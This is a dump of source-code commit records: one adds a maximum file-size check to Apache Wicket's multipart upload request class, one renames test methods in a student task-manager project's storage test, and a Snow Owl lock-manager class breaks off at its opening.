Java | apache-2.0 | e08887d36d8478ae07a31f4f48e453e5adcbcfd9 | 0 | dashorst/wicket,topicusonderwijs/wicket,dashorst/wicket,dashorst/wicket,mosoft521/wicket,dashorst/wicket,klopfdreh/wicket,AlienQueen/wicket,selckin/wicket,klopfdreh/wicket,bitstorm/wicket,aldaris/wicket,topicusonderwijs/wicket,AlienQueen/wicket,topicusonderwijs/wicket,zwsong/wicket,mosoft521/wicket,mosoft521/wicket,freiheit-com/wicket,astrapi69/wicket,AlienQueen/wicket,selckin/wicket,AlienQueen/wicket,klopfdreh/wicket,mosoft521/wicket,selckin/wicket,zwsong/wicket,freiheit-com/wicket,freiheit-com/wicket,klopfdreh/wicket,selckin/wicket,bitstorm/wicket,mafulafunk/wicket,mafulafunk/wicket,astrapi69/wicket,mosoft521/wicket,apache/wicket,apache/wicket,klopfdreh/wicket,topicusonderwijs/wicket,topicusonderwijs/wicket,aldaris/wicket,freiheit-com/wicket,bitstorm/wicket,dashorst/wicket,bitstorm/wicket,zwsong/wicket,aldaris/wicket,aldaris/wicket,zwsong/wicket,freiheit-com/wicket,AlienQueen/wicket,apache/wicket,astrapi69/wicket,selckin/wicket,bitstorm/wicket,astrapi69/wicket,mafulafunk/wicket,apache/wicket,aldaris/wicket,apache/wicket | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.wicket.protocol.http.servlet;
import java.io.IOException;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import org.apache.wicket.Application;
import org.apache.wicket.WicketRuntimeException;
import org.apache.wicket.settings.IApplicationSettings;
import org.apache.wicket.util.lang.Args;
import org.apache.wicket.util.lang.Bytes;
import org.apache.wicket.util.string.StringValue;
import org.apache.wicket.util.upload.DiskFileItemFactory;
import org.apache.wicket.util.upload.FileItem;
import org.apache.wicket.util.upload.FileItemFactory;
import org.apache.wicket.util.upload.FileUploadBase;
import org.apache.wicket.util.upload.FileUploadException;
import org.apache.wicket.util.upload.ServletFileUpload;
import org.apache.wicket.util.upload.ServletRequestContext;
import org.apache.wicket.util.value.ValueMap;
/**
* Servlet specific WebRequest subclass for multipart content uploads.
*
* @author Jonathan Locke
* @author Eelco Hillenius
* @author Cameron Braid
* @author Ate Douma
* @author Igor Vaynberg (ivaynberg)
*/
public class MultipartServletWebRequestImpl extends MultipartServletWebRequest
{
/** Map of file items. */
private final Map<String, List<FileItem>> files;
/** Map of parameters. */
private final ValueMap parameters;
private final String upload;
/**
* total bytes uploaded (downloaded from server's pov) so far. used for upload notifications
*/
private int bytesUploaded;
/** content length cache, used for upload notifications */
private int totalBytes;
/**
* Constructor.
*
* This constructor will use {@link DiskFileItemFactory} to store uploads.
*
* @param request
* the servlet request
* @param filterPrefix
* prefix to wicket filter mapping
* @param maxSize
* the maximum size allowed for this request
* @param upload
* upload identifier for {@link UploadInfo}
* @throws FileUploadException
* Thrown if something goes wrong with upload
*/
public MultipartServletWebRequestImpl(HttpServletRequest request, String filterPrefix,
Bytes maxSize, String upload) throws FileUploadException
{
this(request, filterPrefix, maxSize, upload, new DiskFileItemFactory(Application.get()
.getResourceSettings()
.getFileCleaner()));
}
/**
* Constructor
*
* @param request
* the servlet request
* @param filterPrefix
* prefix to wicket filter mapping
* @param maxSize
* the maximum size allowed for this request
* @param upload
* upload identifier for {@link UploadInfo}
* @param factory
* {@link DiskFileItemFactory} to use when creating file items used to represent
* uploaded files
* @throws FileUploadException
* Thrown if something goes wrong with upload
*/
public MultipartServletWebRequestImpl(HttpServletRequest request, String filterPrefix,
Bytes maxSize, String upload, FileItemFactory factory) throws FileUploadException
{
super(request, filterPrefix);
Args.notNull(maxSize, "maxSize");
Args.notNull(upload, "upload");
this.upload = upload;
parameters = new ValueMap();
files = new HashMap<String, List<FileItem>>();
// Check that request is multipart
final boolean isMultipart = ServletFileUpload.isMultipartContent(request);
if (!isMultipart)
{
throw new IllegalStateException(
"ServletRequest does not contain multipart content. One possible solution is to explicitly call Form.setMultipart(true), Wicket tries its best to auto-detect multipart forms but there are certain situation where it cannot.");
}
// Configure the factory here, if desired.
ServletFileUpload fileUpload = new ServletFileUpload(factory);
// The encoding that will be used to decode the string parameters
// It should NOT be null at this point, but it may be
// especially if the older Servlet API 2.2 is used
String encoding = request.getCharacterEncoding();
// The encoding can also be null when using multipart/form-data encoded forms.
// In that case we use the [application-encoding] which we always demand using
// the attribute 'accept-encoding' in wicket forms.
if (encoding == null)
{
encoding = Application.get().getRequestCycleSettings().getResponseRequestEncoding();
}
// set encoding specifically when we found it
if (encoding != null)
{
fileUpload.setHeaderEncoding(encoding);
}
fileUpload.setSizeMax(maxSize.bytes());
final List<FileItem> items;
if (wantUploadProgressUpdates())
{
ServletRequestContext ctx = new ServletRequestContext(request)
{
@Override
public InputStream getInputStream() throws IOException
{
return new CountingInputStream(super.getInputStream());
}
};
totalBytes = request.getContentLength();
onUploadStarted(totalBytes);
items = fileUpload.parseRequest(ctx);
onUploadCompleted();
}
else
{
items = fileUpload.parseRequest(request);
}
// Loop through items
for (final FileItem item : items)
{
// Get next item
// If item is a form field
if (item.isFormField())
{
// Set parameter value
final String value;
if (encoding != null)
{
try
{
value = item.getString(encoding);
}
catch (UnsupportedEncodingException e)
{
throw new WicketRuntimeException(e);
}
}
else
{
value = item.getString();
}
addParameter(item.getFieldName(), value);
}
else
{
List<FileItem> fileItems = files.get(item.getFieldName());
if (fileItems == null)
{
fileItems = new ArrayList<FileItem>();
files.put(item.getFieldName(), fileItems);
}
// Add to file list
fileItems.add(item);
}
}
}
/**
* Adds a parameter to the parameters value map
*
* @param name
* parameter name
* @param value
* parameter value
*/
private void addParameter(final String name, final String value)
{
final String[] currVal = (String[])parameters.get(name);
String[] newVal = null;
if (currVal != null)
{
newVal = new String[currVal.length + 1];
System.arraycopy(currVal, 0, newVal, 0, currVal.length);
newVal[currVal.length] = value;
}
else
{
newVal = new String[] { value };
}
parameters.put(name, newVal);
}
/**
* @return Returns the files.
*/
@Override
public Map<String, List<FileItem>> getFiles()
{
return files;
}
/**
* Gets the file that was uploaded using the given field name.
*
* @param fieldName
* the field name that was used for the upload
* @return the upload with the given field name
*/
@Override
public List<FileItem> getFile(final String fieldName)
{
return files.get(fieldName);
}
@Override
protected Map<String, List<StringValue>> generatePostParameters()
{
Map<String, List<StringValue>> res = new HashMap<String, List<StringValue>>();
for (String key : parameters.keySet())
{
String[] val = (String[])parameters.get(key);
if (val != null && val.length > 0)
{
List<StringValue> items = new ArrayList<StringValue>();
for (String s : val)
{
items.add(StringValue.valueOf(s));
}
res.put(key, items);
}
}
return res;
}
/**
* Subclasses that want to receive upload notifications should return true. By default it takes
* the value from {@link IApplicationSettings#isUploadProgressUpdatesEnabled()}.
*
* @return true if upload status update event should be invoked
*/
protected boolean wantUploadProgressUpdates()
{
return Application.get().getApplicationSettings().isUploadProgressUpdatesEnabled();
}
/**
* Upload start callback
*
* @param totalBytes
*/
protected void onUploadStarted(int totalBytes)
{
UploadInfo info = new UploadInfo(totalBytes);
setUploadInfo(getContainerRequest(), upload, info);
}
/**
* Upload status update callback
*
* @param bytesUploaded
* @param total
*/
protected void onUploadUpdate(int bytesUploaded, int total)
{
HttpServletRequest request = getContainerRequest();
UploadInfo info = getUploadInfo(request, upload);
if (info == null)
{
throw new IllegalStateException(
"could not find UploadInfo object in session which should have been set when uploaded started");
}
info.setBytesUploaded(bytesUploaded);
setUploadInfo(request, upload, info);
}
/**
* Upload completed callback
*/
protected void onUploadCompleted()
{
clearUploadInfo(getContainerRequest(), upload);
}
/**
* An {@link InputStream} that updates total number of bytes read
*
* @author Igor Vaynberg (ivaynberg)
*/
private class CountingInputStream extends InputStream
{
private final InputStream in;
/**
* Constructs a new CountingInputStream.
*
* @param in
* InputStream to delegate to
*/
public CountingInputStream(InputStream in)
{
this.in = in;
}
/**
* @see java.io.InputStream#read()
*/
@Override
public int read() throws IOException
{
int read = in.read();
bytesUploaded += (read < 0) ? 0 : 1;
onUploadUpdate(bytesUploaded, totalBytes);
return read;
}
/**
* @see java.io.InputStream#read(byte[])
*/
@Override
public int read(byte[] b) throws IOException
{
int read = in.read(b);
bytesUploaded += (read < 0) ? 0 : read;
onUploadUpdate(bytesUploaded, totalBytes);
return read;
}
/**
* @see java.io.InputStream#read(byte[], int, int)
*/
@Override
public int read(byte[] b, int off, int len) throws IOException
{
int read = in.read(b, off, len);
bytesUploaded += (read < 0) ? 0 : read;
onUploadUpdate(bytesUploaded, totalBytes);
return read;
}
}
@Override
public MultipartServletWebRequest newMultipartWebRequest(Bytes maxSize, String upload)
throws FileUploadException
{
for (Map.Entry<String, List<FileItem>> entry : files.entrySet())
{
List<FileItem> fileItems = entry.getValue();
for (FileItem fileItem : fileItems)
{
if (fileItem.getSize() > maxSize.bytes())
{
String fieldName = entry.getKey();
FileUploadException fslex = new FileUploadBase.FileSizeLimitExceededException("The field " +
fieldName + " exceeds its maximum permitted " + " size of " +
maxSize + " characters.", fileItem.getSize(), maxSize.bytes());
throw fslex;
}
}
}
return this;
}
@Override
public MultipartServletWebRequest newMultipartWebRequest(Bytes maxSize, String upload,
FileItemFactory factory) throws FileUploadException
{
return this;
}
private static final String SESSION_KEY = MultipartServletWebRequestImpl.class.getName();
private static String getSessionKey(String upload)
{
return SESSION_KEY + ":" + upload;
}
/**
* Retrieves {@link UploadInfo} from session, null if not found.
*
* @param req
* http servlet request, not null
* @param upload
* upload identifier
* @return {@link UploadInfo} object from session, or null if not found
*/
public static UploadInfo getUploadInfo(final HttpServletRequest req, String upload)
{
Args.notNull(req, "req");
return (UploadInfo)req.getSession().getAttribute(getSessionKey(upload));
}
/**
* Sets the {@link UploadInfo} object into session.
*
* @param req
* http servlet request, not null
* @param upload
* upload identifier
* @param uploadInfo
* {@link UploadInfo} object to be put into session, not null
*/
public static void setUploadInfo(final HttpServletRequest req, String upload,
final UploadInfo uploadInfo)
{
Args.notNull(req, "req");
Args.notNull(upload, "upload");
Args.notNull(uploadInfo, "uploadInfo");
req.getSession().setAttribute(getSessionKey(upload), uploadInfo);
}
/**
* Clears the {@link UploadInfo} object from session if one exists.
*
* @param req
* http servlet request, not null
* @param upload
* upload identifier
*/
public static void clearUploadInfo(final HttpServletRequest req, String upload)
{
Args.notNull(req, "req");
Args.notNull(upload, "upload");
req.getSession().removeAttribute(getSessionKey(upload));
}
} | wicket-core/src/main/java/org/apache/wicket/protocol/http/servlet/MultipartServletWebRequestImpl.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.wicket.protocol.http.servlet;
import java.io.IOException;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import org.apache.wicket.Application;
import org.apache.wicket.WicketRuntimeException;
import org.apache.wicket.settings.IApplicationSettings;
import org.apache.wicket.util.lang.Args;
import org.apache.wicket.util.lang.Bytes;
import org.apache.wicket.util.string.StringValue;
import org.apache.wicket.util.upload.DiskFileItemFactory;
import org.apache.wicket.util.upload.FileItem;
import org.apache.wicket.util.upload.FileItemFactory;
import org.apache.wicket.util.upload.FileUploadException;
import org.apache.wicket.util.upload.ServletFileUpload;
import org.apache.wicket.util.upload.ServletRequestContext;
import org.apache.wicket.util.value.ValueMap;
/**
* Servlet specific WebRequest subclass for multipart content uploads.
*
* @author Jonathan Locke
* @author Eelco Hillenius
* @author Cameron Braid
* @author Ate Douma
* @author Igor Vaynberg (ivaynberg)
*/
public class MultipartServletWebRequestImpl extends MultipartServletWebRequest
{
/** Map of file items. */
private final Map<String, List<FileItem>> files;
/** Map of parameters. */
private final ValueMap parameters;
private final String upload;
/**
* total bytes uploaded (downloaded from server's pov) so far. used for upload notifications
*/
private int bytesUploaded;
/** content length cache, used for upload notifications */
private int totalBytes;
/**
* Constructor.
*
* This constructor will use {@link DiskFileItemFactory} to store uploads.
*
* @param request
* the servlet request
* @param filterPrefix
* prefix to wicket filter mapping
* @param maxSize
* the maximum size allowed for this request
* @param upload
* upload identifier for {@link UploadInfo}
* @throws FileUploadException
* Thrown if something goes wrong with upload
*/
public MultipartServletWebRequestImpl(HttpServletRequest request, String filterPrefix,
Bytes maxSize, String upload) throws FileUploadException
{
this(request, filterPrefix, maxSize, upload, new DiskFileItemFactory(Application.get()
.getResourceSettings()
.getFileCleaner()));
}
/**
* Constructor
*
* @param request
* the servlet request
* @param filterPrefix
* prefix to wicket filter mapping
* @param maxSize
* the maximum size allowed for this request
* @param upload
* upload identifier for {@link UploadInfo}
* @param factory
* {@link DiskFileItemFactory} to use when creating file items used to represent
* uploaded files
* @throws FileUploadException
* Thrown if something goes wrong with upload
*/
public MultipartServletWebRequestImpl(HttpServletRequest request, String filterPrefix,
Bytes maxSize, String upload, FileItemFactory factory) throws FileUploadException
{
super(request, filterPrefix);
Args.notNull(maxSize, "maxSize");
Args.notNull(upload, "upload");
this.upload = upload;
parameters = new ValueMap();
files = new HashMap<String, List<FileItem>>();
// Check that request is multipart
final boolean isMultipart = ServletFileUpload.isMultipartContent(request);
if (!isMultipart)
{
throw new IllegalStateException(
"ServletRequest does not contain multipart content. One possible solution is to explicitly call Form.setMultipart(true), Wicket tries its best to auto-detect multipart forms but there are certain situation where it cannot.");
}
// Configure the factory here, if desired.
ServletFileUpload fileUpload = new ServletFileUpload(factory);
// The encoding that will be used to decode the string parameters
// It should NOT be null at this point, but it may be
// especially if the older Servlet API 2.2 is used
String encoding = request.getCharacterEncoding();
// The encoding can also be null when using multipart/form-data encoded forms.
// In that case we use the [application-encoding] which we always demand using
// the attribute 'accept-encoding' in wicket forms.
if (encoding == null)
{
encoding = Application.get().getRequestCycleSettings().getResponseRequestEncoding();
}
// set encoding specifically when we found it
if (encoding != null)
{
fileUpload.setHeaderEncoding(encoding);
}
fileUpload.setSizeMax(maxSize.bytes());
final List<FileItem> items;
if (wantUploadProgressUpdates())
{
ServletRequestContext ctx = new ServletRequestContext(request)
{
@Override
public InputStream getInputStream() throws IOException
{
return new CountingInputStream(super.getInputStream());
}
};
totalBytes = request.getContentLength();
onUploadStarted(totalBytes);
items = fileUpload.parseRequest(ctx);
onUploadCompleted();
}
else
{
items = fileUpload.parseRequest(request);
}
// Loop through items
for (final FileItem item : items)
{
// Get next item
// If item is a form field
if (item.isFormField())
{
// Set parameter value
final String value;
if (encoding != null)
{
try
{
value = item.getString(encoding);
}
catch (UnsupportedEncodingException e)
{
throw new WicketRuntimeException(e);
}
}
else
{
value = item.getString();
}
addParameter(item.getFieldName(), value);
}
else
{
List<FileItem> fileItems = files.get(item.getFieldName());
if (fileItems == null)
{
fileItems = new ArrayList<FileItem>();
files.put(item.getFieldName(), fileItems);
}
// Add to file list
fileItems.add(item);
}
}
}
/**
* Adds a parameter to the parameters value map
*
* @param name
* parameter name
* @param value
* parameter value
*/
private void addParameter(final String name, final String value)
{
final String[] currVal = (String[])parameters.get(name);
String[] newVal = null;
if (currVal != null)
{
newVal = new String[currVal.length + 1];
System.arraycopy(currVal, 0, newVal, 0, currVal.length);
newVal[currVal.length] = value;
}
else
{
newVal = new String[] { value };
}
parameters.put(name, newVal);
}
/**
* @return Returns the files.
*/
@Override
public Map<String, List<FileItem>> getFiles()
{
return files;
}
/**
* Gets the file that was uploaded using the given field name.
*
* @param fieldName
* the field name that was used for the upload
* @return the upload with the given field name
*/
@Override
public List<FileItem> getFile(final String fieldName)
{
return files.get(fieldName);
}
@Override
protected Map<String, List<StringValue>> generatePostParameters()
{
Map<String, List<StringValue>> res = new HashMap<String, List<StringValue>>();
for (String key : parameters.keySet())
{
String[] val = (String[])parameters.get(key);
if (val != null && val.length > 0)
{
List<StringValue> items = new ArrayList<StringValue>();
for (String s : val)
{
items.add(StringValue.valueOf(s));
}
res.put(key, items);
}
}
return res;
}
/**
* Subclasses that want to receive upload notifications should return true. By default it takes
* the value from {@link IApplicationSettings#isUploadProgressUpdatesEnabled()}.
*
* @return true if upload status update event should be invoked
*/
protected boolean wantUploadProgressUpdates()
{
return Application.get().getApplicationSettings().isUploadProgressUpdatesEnabled();
}
/**
* Upload start callback
*
* @param totalBytes
*/
protected void onUploadStarted(int totalBytes)
{
UploadInfo info = new UploadInfo(totalBytes);
setUploadInfo(getContainerRequest(), upload, info);
}
/**
* Upload status update callback
*
* @param bytesUploaded
* @param total
*/
protected void onUploadUpdate(int bytesUploaded, int total)
{
HttpServletRequest request = getContainerRequest();
UploadInfo info = getUploadInfo(request, upload);
if (info == null)
{
throw new IllegalStateException(
"could not find UploadInfo object in session which should have been set when uploaded started");
}
info.setBytesUploaded(bytesUploaded);
setUploadInfo(request, upload, info);
}
/**
* Upload completed callback
*/
protected void onUploadCompleted()
{
clearUploadInfo(getContainerRequest(), upload);
}
/**
* An {@link InputStream} that updates total number of bytes read
*
* @author Igor Vaynberg (ivaynberg)
*/
private class CountingInputStream extends InputStream
{
private final InputStream in;
/**
* Constructs a new CountingInputStream.
*
* @param in
* InputStream to delegate to
*/
public CountingInputStream(InputStream in)
{
this.in = in;
}
/**
* @see java.io.InputStream#read()
*/
@Override
public int read() throws IOException
{
int read = in.read();
bytesUploaded += (read < 0) ? 0 : 1;
onUploadUpdate(bytesUploaded, totalBytes);
return read;
}
/**
* @see java.io.InputStream#read(byte[])
*/
@Override
public int read(byte[] b) throws IOException
{
int read = in.read(b);
bytesUploaded += (read < 0) ? 0 : read;
onUploadUpdate(bytesUploaded, totalBytes);
return read;
}
/**
* @see java.io.InputStream#read(byte[], int, int)
*/
@Override
public int read(byte[] b, int off, int len) throws IOException
{
int read = in.read(b, off, len);
bytesUploaded += (read < 0) ? 0 : read;
onUploadUpdate(bytesUploaded, totalBytes);
return read;
}
}
@Override
public MultipartServletWebRequest newMultipartWebRequest(Bytes maxSize, String upload)
throws FileUploadException
{
return this;
}
@Override
public MultipartServletWebRequest newMultipartWebRequest(Bytes maxSize, String upload,
FileItemFactory factory) throws FileUploadException
{
return this;
}
private static final String SESSION_KEY = MultipartServletWebRequestImpl.class.getName();
private static String getSessionKey(String upload)
{
return SESSION_KEY + ":" + upload;
}
/**
* Retrieves {@link UploadInfo} from session, null if not found.
*
* @param req
* http servlet request, not null
* @param upload
* upload identifier
* @return {@link UploadInfo} object from session, or null if not found
*/
public static UploadInfo getUploadInfo(final HttpServletRequest req, String upload)
{
Args.notNull(req, "req");
return (UploadInfo)req.getSession().getAttribute(getSessionKey(upload));
}
/**
* Sets the {@link UploadInfo} object into session.
*
* @param req
* http servlet request, not null
* @param upload
* upload identifier
* @param uploadInfo
* {@link UploadInfo} object to be put into session, not null
*/
public static void setUploadInfo(final HttpServletRequest req, String upload,
final UploadInfo uploadInfo)
{
Args.notNull(req, "req");
Args.notNull(upload, "upload");
Args.notNull(uploadInfo, "uploadInfo");
req.getSession().setAttribute(getSessionKey(upload), uploadInfo);
}
/**
* Clears the {@link UploadInfo} object from session if one exists.
*
* @param req
* http servlet request, not null
* @param upload
* upload identifier
*/
public static void clearUploadInfo(final HttpServletRequest req, String upload)
{
Args.notNull(req, "req");
Args.notNull(upload, "upload");
req.getSession().removeAttribute(getSessionKey(upload));
}
} | WICKET-4715 WebApplication doesn't recognize if an incoming request is multipart.
Re-check the already parsed FileItems for max size (set by the form).
| wicket-core/src/main/java/org/apache/wicket/protocol/http/servlet/MultipartServletWebRequestImpl.java | WICKET-4715 WebApplication doesn't recognize if an incoming request is multipart. | <ide><path>icket-core/src/main/java/org/apache/wicket/protocol/http/servlet/MultipartServletWebRequestImpl.java
<ide> import org.apache.wicket.util.upload.DiskFileItemFactory;
<ide> import org.apache.wicket.util.upload.FileItem;
<ide> import org.apache.wicket.util.upload.FileItemFactory;
<add>import org.apache.wicket.util.upload.FileUploadBase;
<ide> import org.apache.wicket.util.upload.FileUploadException;
<ide> import org.apache.wicket.util.upload.ServletFileUpload;
<ide> import org.apache.wicket.util.upload.ServletRequestContext;
<ide> public MultipartServletWebRequest newMultipartWebRequest(Bytes maxSize, String upload)
<ide> throws FileUploadException
<ide> {
<add> for (Map.Entry<String, List<FileItem>> entry : files.entrySet())
<add> {
<add> List<FileItem> fileItems = entry.getValue();
<add> for (FileItem fileItem : fileItems)
<add> {
<add> if (fileItem.getSize() > maxSize.bytes())
<add> {
<add> String fieldName = entry.getKey();
<add> FileUploadException fslex = new FileUploadBase.FileSizeLimitExceededException("The field " +
<add> fieldName + " exceeds its maximum permitted " + " size of " +
<add> maxSize + " characters.", fileItem.getSize(), maxSize.bytes());
<add> throw fslex;
<add> }
<add> }
<add> }
<ide> return this;
<ide> }
<ide> |
|
Java | mit | 662c5348612de352c22b1e844eb7d406be23ed1e | 0 | CS2103JAN2017-T09-B4/main,CS2103JAN2017-T09-B4/main,CS2103JAN2017-T09-B4/main | package seedu.tache.storage;
import static junit.framework.TestCase.assertNotNull;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import java.io.IOException;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import seedu.tache.commons.events.model.TaskManagerChangedEvent;
import seedu.tache.commons.events.storage.DataSavingExceptionEvent;
import seedu.tache.model.ReadOnlyTaskManager;
import seedu.tache.model.TaskManager;
import seedu.tache.model.UserPrefs;
import seedu.tache.testutil.EventsCollector;
import seedu.tache.testutil.TypicalTestTasks;
public class StorageManagerTest {
private StorageManager storageManager;
@Rule
public TemporaryFolder testFolder = new TemporaryFolder();
@Before
public void setUp() {
storageManager = new StorageManager(getTempFilePath("ab"), getTempFilePath("prefs"));
}
private String getTempFilePath(String fileName) {
return testFolder.getRoot().getPath() + fileName;
}
@Test
public void storageManager_prefsReadSave_success() throws Exception {
/*
* Note: This is an integration test that verifies the StorageManager is properly wired to the
* {@link JsonUserPrefsStorage} class.
* More extensive testing of UserPref saving/reading is done in {@link JsonUserPrefsStorageTest} class.
*/
UserPrefs original = new UserPrefs();
original.setGuiSettings(300, 600, 4, 6);
storageManager.saveUserPrefs(original);
UserPrefs retrieved = storageManager.readUserPrefs().get();
assertEquals(original, retrieved);
}
@Test
public void storageManager_taskManagerReadSave_success() throws Exception {
/*
* Note: This is an integration test that verifies the StorageManager is properly wired to the
* {@link XmlTaskManagerStorage} class.
* More extensive testing of UserPref saving/reading is done in {@link XmlTaskManagerStorageTest} class.
*/
TaskManager original = new TypicalTestTasks().getTypicalTaskManager();
storageManager.saveTaskManager(original);
ReadOnlyTaskManager retrieved = storageManager.readTaskManager().get();
assertEquals(original, new TaskManager(retrieved));
}
@Test
public void getTaskManagerFilePath() {
assertNotNull(storageManager.getTaskManagerFilePath());
}
@Test
public void storageManager_handleTaskManagerChangedEvent_exceptionThrownEventRaised() throws IOException {
// Create a StorageManager while injecting a stub that throws an exception when the save method is called
Storage storage = new StorageManager(new XmlTaskManagerStorageExceptionThrowingStub("dummy"),
new JsonUserPrefsStorage("dummy"));
EventsCollector eventCollector = new EventsCollector();
storage.handleTaskManagerChangedEvent(new TaskManagerChangedEvent(new TaskManager()));
assertTrue(eventCollector.get(0) instanceof DataSavingExceptionEvent);
}
/**
* A Stub class to throw an exception when the save method is called
*/
class XmlTaskManagerStorageExceptionThrowingStub extends XmlTaskManagerStorage {
public XmlTaskManagerStorageExceptionThrowingStub(String filePath) {
super(filePath);
}
@Override
public void saveTaskManager(ReadOnlyTaskManager taskManager, String filePath) throws IOException {
throw new IOException("dummy exception");
}
}
}
| src/test/java/seedu/tache/storage/StorageManagerTest.java | package seedu.tache.storage;
import static junit.framework.TestCase.assertNotNull;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import java.io.IOException;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import seedu.tache.commons.events.model.TaskManagerChangedEvent;
import seedu.tache.commons.events.storage.DataSavingExceptionEvent;
import seedu.tache.model.ReadOnlyTaskManager;
import seedu.tache.model.TaskManager;
import seedu.tache.model.UserPrefs;
import seedu.tache.testutil.EventsCollector;
import seedu.tache.testutil.TypicalTestTasks;
public class StorageManagerTest {
private StorageManager storageManager;
@Rule
public TemporaryFolder testFolder = new TemporaryFolder();
@Before
public void setUp() {
storageManager = new StorageManager(getTempFilePath("ab"), getTempFilePath("prefs"));
}
private String getTempFilePath(String fileName) {
return testFolder.getRoot().getPath() + fileName;
}
@Test
public void prefsReadSave() throws Exception {
/*
* Note: This is an integration test that verifies the StorageManager is properly wired to the
* {@link JsonUserPrefsStorage} class.
* More extensive testing of UserPref saving/reading is done in {@link JsonUserPrefsStorageTest} class.
*/
UserPrefs original = new UserPrefs();
original.setGuiSettings(300, 600, 4, 6);
storageManager.saveUserPrefs(original);
UserPrefs retrieved = storageManager.readUserPrefs().get();
assertEquals(original, retrieved);
}
@Test
public void taskManagerReadSave() throws Exception {
/*
* Note: This is an integration test that verifies the StorageManager is properly wired to the
* {@link XmlTaskManagerStorage} class.
* More extensive testing of UserPref saving/reading is done in {@link XmlTaskManagerStorageTest} class.
*/
TaskManager original = new TypicalTestTasks().getTypicalTaskManager();
storageManager.saveTaskManager(original);
ReadOnlyTaskManager retrieved = storageManager.readTaskManager().get();
assertEquals(original, new TaskManager(retrieved));
}
@Test
public void getTaskManagerFilePath() {
assertNotNull(storageManager.getTaskManagerFilePath());
}
@Test
public void handleTaskManagerChangedEventExceptionThrownEventRaised() throws IOException {
// Create a StorageManager while injecting a stub that throws an exception when the save method is called
Storage storage = new StorageManager(new XmlTaskManagerStorageExceptionThrowingStub("dummy"),
new JsonUserPrefsStorage("dummy"));
EventsCollector eventCollector = new EventsCollector();
storage.handleTaskManagerChangedEvent(new TaskManagerChangedEvent(new TaskManager()));
assertTrue(eventCollector.get(0) instanceof DataSavingExceptionEvent);
}
/**
* A Stub class to throw an exception when the save method is called
*/
class XmlTaskManagerStorageExceptionThrowingStub extends XmlTaskManagerStorage {
public XmlTaskManagerStorageExceptionThrowingStub(String filePath) {
super(filePath);
}
@Override
public void saveTaskManager(ReadOnlyTaskManager taskManager, String filePath) throws IOException {
throw new IOException("dummy exception");
}
}
}
| Missed out 1
| src/test/java/seedu/tache/storage/StorageManagerTest.java | Missed out 1 | <ide><path>rc/test/java/seedu/tache/storage/StorageManagerTest.java
<ide>
<ide>
<ide> @Test
<del> public void prefsReadSave() throws Exception {
<add> public void storageManager_prefsReadSave_success() throws Exception {
<ide> /*
<ide> * Note: This is an integration test that verifies the StorageManager is properly wired to the
<ide> * {@link JsonUserPrefsStorage} class.
<ide> }
<ide>
<ide> @Test
<del> public void taskManagerReadSave() throws Exception {
<add> public void storageManager_taskManagerReadSave_success() throws Exception {
<ide> /*
<ide> * Note: This is an integration test that verifies the StorageManager is properly wired to the
<ide> * {@link XmlTaskManagerStorage} class.
<ide> }
<ide>
<ide> @Test
<del> public void handleTaskManagerChangedEventExceptionThrownEventRaised() throws IOException {
<add> public void storageManager_handleTaskManagerChangedEvent_exceptionThrownEventRaised() throws IOException {
<ide> // Create a StorageManager while injecting a stub that throws an exception when the save method is called
<ide> Storage storage = new StorageManager(new XmlTaskManagerStorageExceptionThrowingStub("dummy"),
<ide> new JsonUserPrefsStorage("dummy")); |
|
Java | apache-2.0 | aeeaba40a42821a36dac8e4710e77a0fce371582 | 0 | b2ihealthcare/snow-owl,b2ihealthcare/snow-owl,b2ihealthcare/snow-owl,b2ihealthcare/snow-owl | /*
* Copyright 2011-2019 B2i Healthcare Pte Ltd, http://b2i.sg
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.b2international.snowowl.datastore.oplock;
import java.io.Serializable;
import java.text.MessageFormat;
import java.util.BitSet;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
import javax.annotation.OverridingMethodsMustInvokeSuper;
import org.eclipse.core.runtime.ListenerList;
import com.b2international.snowowl.core.ApplicationContext;
import com.b2international.snowowl.datastore.oplock.impl.AbstractDatastoreLockTarget;
import com.b2international.snowowl.datastore.oplock.impl.DatastoreOperationLockException;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.Iterables;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
/**
* An abstract superclass of {@link IOperationLockManager} providing common methods.
*
*/
public abstract class AbstractOperationLockManager<C extends Serializable> implements IOperationLockManager<C> {
